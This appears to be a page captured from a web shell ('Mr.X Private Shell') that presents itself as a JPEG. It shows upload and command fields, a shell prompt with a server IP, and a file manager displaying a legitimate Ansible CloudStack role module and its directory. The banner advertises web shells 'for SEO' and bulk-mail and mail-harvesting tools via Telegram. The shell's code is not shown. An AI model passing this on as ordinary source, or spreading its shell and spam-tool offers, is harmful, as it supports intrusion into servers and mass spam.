����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-
#
# Copyright (c) 2016, René Moser <mail@renemoser.net>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function
__metaclass__ = type


DOCUMENTATION = '''
---
module: cs_role
short_description: Manages user roles on Apache CloudStack based clouds.
description:
  - Create, update, delete user roles.
author: René Moser (@resmo)
version_added: 0.1.0
options:
  name:
    description:
      - Name of the role.
    type: str
    required: true
  uuid:
    description:
      - ID of the role.
      - If provided, I(uuid) is used as key.
    type: str
    aliases: [ id ]
  role_type:
    description:
      - Type of the role.
      - Only considered for creation.
    type: str
    default: User
    choices: [ User, DomainAdmin, ResourceAdmin, Admin ]
  description:
    description:
      - Description of the role.
    type: str
  state:
    description:
      - State of the role.
    type: str
    default: present
    choices: [ present, absent ]
extends_documentation_fragment:
- ngine_io.cloudstack.cloudstack
'''

EXAMPLES = '''
- name: Ensure an user role is present
  ngine_io.cloudstack.cs_role:
    name: myrole_user

- name: Ensure a role having particular ID is named as myrole_user
  ngine_io.cloudstack.cs_role:
    name: myrole_user
    id: 04589590-ac63-4ffc-93f5-b698b8ac38b6

- name: Ensure a role is absent
  ngine_io.cloudstack.cs_role:
    name: myrole_user
    state: absent
'''

RETURN = '''
---
id:
  description: UUID of the role.
  returned: success
  type: str
  sample: 04589590-ac63-4ffc-93f5-b698b8ac38b6
name:
  description: Name of the role.
  returned: success
  type: str
  sample: myrole
description:
  description: Description of the role.
  returned: success
  type: str
  sample: "This is my role description"
role_type:
  description: Type of the role.
  returned: success
  type: str
  sample: User
'''

from ansible.module_utils.basic import AnsibleModule
from ..module_utils.cloudstack import (
    AnsibleCloudStack,
    cs_argument_spec,
    cs_required_together,
)


class AnsibleCloudStackRole(AnsibleCloudStack):

    def __init__(self, module):
        super(AnsibleCloudStackRole, self).__init__(module)
        self.returns = {
            'type': 'role_type',
        }

    def get_role(self):
        uuid = self.module.params.get('uuid')
        if uuid:
            args = {
                'id': uuid,
            }
            roles = self.query_api('listRoles', **args)
            if roles:
                return roles['role'][0]
        else:
            args = {
                'name': self.module.params.get('name'),
            }
            roles = self.query_api('listRoles', **args)
            if roles:
                return roles['role'][0]
        return None

    def present_role(self):
        role = self.get_role()
        if role:
            role = self._update_role(role)
        else:
            role = self._create_role(role)
        return role

    def _create_role(self, role):
        self.result['changed'] = True
        args = {
            'name': self.module.params.get('name'),
            'type': self.module.params.get('role_type'),
            'description': self.module.params.get('description'),
        }
        if not self.module.check_mode:
            res = self.query_api('createRole', **args)
            role = res['role']
        return role

    def _update_role(self, role):
        args = {
            'id': role['id'],
            'name': self.module.params.get('name'),
            'description': self.module.params.get('description'),
        }
        if self.has_changed(args, role):
            self.result['changed'] = True
            if not self.module.check_mode:
                res = self.query_api('updateRole', **args)

                # The API as in 4.9 does not return an updated role yet
                if 'role' not in res:
                    role = self.get_role()
                else:
                    role = res['role']
        return role

    def absent_role(self):
        role = self.get_role()
        if role:
            self.result['changed'] = True
            args = {
                'id': role['id'],
            }
            if not self.module.check_mode:
                self.query_api('deleteRole', **args)
        return role


def main():
    argument_spec = cs_argument_spec()
    argument_spec.update(dict(
        uuid=dict(aliases=['id']),
        name=dict(required=True),
        description=dict(),
        role_type=dict(choices=['User', 'DomainAdmin', 'ResourceAdmin', 'Admin'], default='User'),
        state=dict(choices=['present', 'absent'], default='present'),
    ))

    module = AnsibleModule(
        argument_spec=argument_spec,
        required_together=cs_required_together(),
        supports_check_mode=True
    )

    acs_role = AnsibleCloudStackRole(module)
    state = module.params.get('state')
    if state == 'absent':
        role = acs_role.absent_role()
    else:
        role = acs_role.present_role()

    result = acs_role.get_result(role)

    module.exit_json(**result)


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
cs_account.py File 13.02 KB 0644
cs_affinitygroup.py File 6.37 KB 0644
cs_cluster.py File 10.71 KB 0644
cs_configuration.py File 7.77 KB 0644
cs_disk_offering.py File 11.04 KB 0644
cs_domain.py File 6.39 KB 0644
cs_facts.py File 7.48 KB 0644
cs_firewall.py File 13.35 KB 0644
cs_host.py File 17.08 KB 0644
cs_image_store.py File 6.87 KB 0644
cs_instance.py File 40.2 KB 0644
cs_instance_info.py File 11.64 KB 0644
cs_instance_nic.py File 7.33 KB 0644
cs_instance_nic_secondaryip.py File 7.41 KB 0644
cs_instance_password_reset.py File 3.87 KB 0644
cs_instancegroup.py File 4.66 KB 0644
cs_ip_address.py File 8.3 KB 0644
cs_iso.py File 12.65 KB 0644
cs_loadbalancer_rule.py File 10.25 KB 0644
cs_loadbalancer_rule_member.py File 9.1 KB 0644
cs_network.py File 18.44 KB 0644
cs_network_acl.py File 5.01 KB 0644
cs_network_acl_rule.py File 13.9 KB 0644
cs_network_offering.py File 15.52 KB 0644
cs_physical_network.py File 14.51 KB 0644
cs_pod.py File 7.1 KB 0644
cs_portforward.py File 12.46 KB 0644
cs_project.py File 7.3 KB 0644
cs_region.py File 4.65 KB 0644
cs_resourcelimit.py File 5.31 KB 0644
cs_role.py File 5.11 KB 0644
cs_role_permission.py File 9.53 KB 0644
cs_router.py File 9.76 KB 0644
cs_securitygroup.py File 5.1 KB 0644
cs_securitygroup_rule.py File 12.48 KB 0644
cs_service_offering.py File 17.56 KB 0644
cs_snapshot_policy.py File 10.31 KB 0644
cs_sshkeypair.py File 8.17 KB 0644
cs_staticnat.py File 6.65 KB 0644
cs_storage_pool.py File 14.88 KB 0644
cs_template.py File 23.38 KB 0644
cs_traffic_type.py File 9.89 KB 0644
cs_user.py File 11.46 KB 0644
cs_vlan_ip_range.py File 10.81 KB 0644
cs_vmsnapshot.py File 7.6 KB 0644
cs_volume.py File 16.71 KB 0644
cs_vpc.py File 11.02 KB 0644
cs_vpc_offering.py File 9.69 KB 0644
cs_vpn_connection.py File 10.14 KB 0644
cs_vpn_customer_gateway.py File 10.54 KB 0644
cs_vpn_gateway.py File 5.33 KB 0644
cs_zone.py File 9.64 KB 0644
cs_zone_info.py File 5.27 KB 0644